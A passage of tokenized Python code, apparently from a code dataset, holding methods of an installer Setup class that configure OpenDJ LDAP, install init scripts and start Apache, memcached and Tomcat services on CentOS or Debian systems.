"Fn_", "._", "write_", "(_", "template", "\\u", "text_", "%_", "self_", "._", "\\u\\u", "dict\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "new", "Fn_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "writ", "ing", " ", "test", " ", "template", " ", "%", "s", "\"_", "%_", "full", "Path_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "generat", "e\\u", "base64", "\\u", "file_", "(_", "self_", ",_", "fn_", ",_", "num", "\\u", "spaces_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Load", "ing", " ", "file", " ", "%", "s", "'_", "%_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plain", "\\u", "file", "\\u", "b64", "encode", "d\\u", "text_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plain", "\\u", "file_", "=_", "open_", "(_", "fn_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plain", "\\u", "file", "\\u", "text_", "=_", "plain", "\\u", "file_", "._", "read_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plain", "\\u", "file", "\\u", "b64", "encode", "d\\u", "text_", "=_", "plain", "\\u", "file", "\\u", "text_", "._", "encode_", "(_", "'", "base64", "'_", ")_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "plain", "\\u", "file_", "._", "close_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "load", "ing", " ", "file", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "num", "\\u", "spaces_", ">_", "0_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "plain", "\\u", "file", "\\u", "b64", "encode", "d\\u", "text_", "=_", "self_", "._", "rein", "dent_", "(_", "plain", "\\u", "file", "\\u", "b64", "encode", "d\\u", "text_", ",_", "num", "\\u", "spaces_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "return_", "plain", "\\u", "file", "\\u", "b64", "encode", "d\\u", "text_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "run_", "(_", "self_", ",_", "args_", ",_", "cwd_", "=_", "None_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Run", "ning", ":", " ", "%", "s", "'_", "%_", "'", " ", "'_", "._", "join_", "(_", "args_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "subprocess_", "._", "Popen_", "(_", "args_", ",_", "stdout_", "=_", "subprocess_", "._", "PIPE_", ",_", "stderr_", "=_", "subprocess_", "._", "PIPE_", ",_", "cwd_", "=_", "cwd_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "output_", ",_", "err_", "=_", "p_", "._", "communicate_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "output_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "output_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "err_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "err_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "runn", "ing", " ", "command", " ", ":", " ", "%", "s", "\"_", "%_", "\"", " ", "\"_", "._", "join_", "(_", "args_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "save", "\\u", "properties_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Sav", "ing", " ", "proper", "ties", " ", "to", " ", "%", "s", "'_", "%_", "self_", "._", "saved", "Properties_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "def_", "get", "String_", "(_", "object_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "type_", "(_", "object_", ")_", "==_", "type_", "(_", "\"\"_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "object_", "._", "strip_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "return_", "''_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "p_", "=_", "Properties_", "._", "Properties_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "=_", "self_", "._", "\\u\\u", "dict\\u\\u_", "._", "keys_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "keys_", "._", "sort_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "key_", "in_", "keys_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "value_", "=_", "get", "String_", "(_", "self_", "._", "\\u\\u", "dict\\u\\u_", "[_", "key_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "value_", "!=_", "''_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "p_", "[_", "key_", "]_", "=_", "value_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "p_", "._", "store_", "(_", "open_", "(_", "self_", "._", "saved", "Properties_", ",_", "'", "w", "'_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "saving", " ", "proper", "ties", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "opend", "j_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Run", "ning", " ", "Open", "DJ", " ", "Set", "up", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "add", "\\u", "ldap", "\\u", "schema_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "'", "Error", " ", "addin", "g", " ", "ldap", " ", "schema", "'_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Copy", " ", "opend", "j", "-", "setup", ".", "proper", "ties", " ", "so", " ", "user", " ", "ldap", " ", "can", " ", "find", " ", "it", " ", "in", " ", "/", "opt", "/", "opend", "j_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "setup", "Props", "FN_", "=_", "os_", "._", "path_", "._", "join_", "(_", "self_", "._", "ldap", "Base", "Folder_", ",_", "'", "opend", "j", "-", "setup", ".", "proper", "ties", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "shutil_", "._", "copy_", "(_", "\"%", "s", "/", "opend", "j", "-", "setup", ".", "proper", "ties", "\"_", "%_", "self_", "._", "output", "Folder_", ",_", "setup", "Props", "FN_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "change", "\\u", "ownership_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "setup", "Cmd_", "=_", "\"", "cd", " ", "/", "opt", "/", "opend", "j", " ", ";", " ", "\"_", "+_", "\"", " ", "\"_", "._", "join_", "(_", "[_", "self_", "._", "ldap", "Set", "up", "Command_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "no", "-", "prompt", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "cli", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "proper", "ties", "File", "Path", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "Props", "FN_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'--", "accept", "License", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'/", "bin", "/", "su", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ldap", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "setup", "Cmd_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "runn", "ing", " ", "LDA", "P", " ", "setup", " ", "script", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "ds", "java", "Cmd_", "=_", "\"", "cd", " ", "/", "opt", "/", "opend", "j", "/", "bin", " ", ";", " ", "%", "s", "\"_", "%_", "self_", "._", "ldap", "Ds", "Ja", "va", "Prop", "Command_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "'/", "bin", "/", "su", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'", "ldap", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "'-", "c", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "ds", "java", "Cmd_", "\\u\\u\\uNL\\u\\u\\u_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "runn", "ing", " ", "ds", "java", "proper", "ties", "\"_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "opt", "/", "opend", "j", "/", "bin", "/", "create", "-", "rc", "-", "script", "\"_", ",_", "\"--", "output", "File", "\"_", ",_", "\"/", "etc", "/", "init", ".", "d", "/", "opend", "j", "\"_", ",_", "\"--", "user", "Name", "\"_", ",_", "\"", "ldap", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"/", "usr", "/", "sb", "in", "/", "chk", "config", "\"_", ",_", "\"--", "add", "\"_", ",_", "\"", "opend", "j", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "opt", "/", "opend", "j", "/", "bin", "/", "create", "-", "rc", "-", "script", "\"_", ",_", "\"--", "output", "File", "\"_", ",_", "\"/", "etc", "/", "init", ".", "d", "/", "opend", "j", "\"_", ",_", "\"--", "user", "Name", "\"_", ",_", "\"", "ldap", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "setup", "\\u", "init", "\\u", "scripts_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "script", "\\u", "name_", "=_", "os_", "._", "path_", "._", "split_", "(_", "self_", "._", "tom", "cat", "\\u", "template", "\\u", "cent", "os", "7_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dest", "\\u", "folder_", "=_", "os_", "._", "path_", "._", "dirname_", "(_", "self_", "._", "tom", "cat", "\\u", "service", "\\u", "cent", "os", "7_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "copy", "File_", "(_", "self_", "._", "tom", "cat", "\\u", "template", "\\u", "cent", "os", "7_", ",_", "dest", "\\u", "folder_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"", "chm", "od", "\"_", ",_", "\"", "755", "\"_", ",_", "self_", "._", "tom", "cat", "\\u", "service", "\\u", "cent", "os", "7_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "self_", "._", "tom", "cat", "\\u", "service", "\\u", "cent", "os", "7_", ",_", "\"", "install", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "script", " ", "file", " ", "%", "s", " ", "to", " ", "%", "s", "\"_", "%_", "(_", "self_", "._", "tom", "cat", "\\u", "template", "\\u", "cent", "os", "7_", ",_", "dest", "\\u", "folder_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "init", "\\u", "file_", "in_", "self_", "._", "init", "\\u", "files_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "script", "\\u", "name_", "=_", "os_", "._", "path_", "._", "split_", "(_", "init", "\\u", "file_", ")_", "[_", "-_", "1_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "copy", "File_", "(_", "init", "\\u", "file_", ",_", "\"/", "etc", "/", "init", ".", "d", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "\"", "chm", "od", "\"_", ",_", "\"", "755", "\"_", ",_", "\"/", "etc", "/", "init", ".", "d", "/", "%", "s", "\"_", "%_", "script", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "self_", "._", "log", "It_", "(_", "\"", "Error", " ", "copy", "ing", " ", "script", " ", "file", " ", "%", "s", " ", "to", " ", "/", "etc", "/", "init", ".", "d", "\"_", "%_", "init", "\\u", "file_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "log", "It_", "(_", "traceback_", "._", "format\\u", "exc_", "(_", ")_", ",_", "True_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "for_", "service_", "in_", "self_", "._", "red", "hat", "\\u", "services_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "sb", "in", "/", "chk", "config", "\"_", ",_", "service_", ",_", "\"", "on", "\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "ubu", "ntu", "'_", ",_", "'", "debi", "an", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "usr", "/", "sb", "in", "/", "update", "-", "rc", ".", "d", "\"_", ",_", "'", "tom", "cat", "'_", ",_", "'", "start", "'_", ",_", "'", "50", "'_", ",_", "'", "3", "'_", ",_", "\".\"_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "for_", "service_", "in_", "self_", "._", "debi", "an", "\\u", "services_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "\"/", "usr", "/", "sb", "in", "/", "update", "-", "rc", ".", "d", "\"_", ",_", "service_", ",_", "'", "enable", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Setup_", "(_", "object_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "start", "\\u", "services_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Detect", " ", "se", "vice", " ", "path", " ", "and", " ", "apa", "che", " ", "service", " ", "name_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service", "\\u", "path_", "=_", "'/", "sb", "in", "/", "service", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apa", "che", "\\u", "service", "\\u", "name_", "=_", "'", "http", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service", "\\u", "path_", "=_", "'/", "usr", "/", "bin", "/", "system", "ctl", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apa", "che", "\\u", "service", "\\u", "name_", "=_", "'", "http", "d", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "elif_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "debi", "an", "'_", ",_", "'", "ubu", "ntu", "'_", "]_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "service", "\\u", "path_", "=_", "'/", "usr", "/", "sb", "in", "/", "service", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "apa", "che", "\\u", "service", "\\u", "name_", "=_", "'", "apa", "che", "2", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ap", "ache", " ", "HTTP", "D_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "enable", "'_", ",_", "apa", "che", "\\u", "service", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "start", "'_", ",_", "apa", "che", "\\u", "service", "\\u", "name_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "apa", "che", "\\u", "service", "\\u", "name_", ",_", "'", "start", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Memcache", "d_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "start", "'_", ",_", "'", "memcached", ".", "service", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "else_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "memcached", "'_", ",_", "'", "start", "'_", "]_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "#", " ", "Ap", "ache", " ", "Tom", "cat_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "Gi", "ving", " ", "LDA", "P", " ", "a", " ", "few", " ", "second", "s", " ", "to", " ", "load", " ", "the", " ", "data", "..._", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "i_", "=_", "0_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "wait", "\\u", "time_", "=_", "5_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "while_", "i_", "<_", "wait", "\\u", "time_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "time_", "._", "sleep_", "(_", "1_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "print_", "\".\"_", ",_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "i_", "=_", "i_", "+_", "1_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "if_", "self_", "._", "os", "\\u", "type_", "in_", "[_", "'", "cent", "os", "'_", ",_", "'", "red", "hat", "'_", ",_", "'", "fedo", "ra", "'_", "]_", "and_", "self_", "._", "os", "\\u", "init", "daemon_", "==_", "'", "system", "d", "'_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "run_", "(_", "[_", "service", "\\u", "path_", ",_", "'", "enable", "'_", ",_", 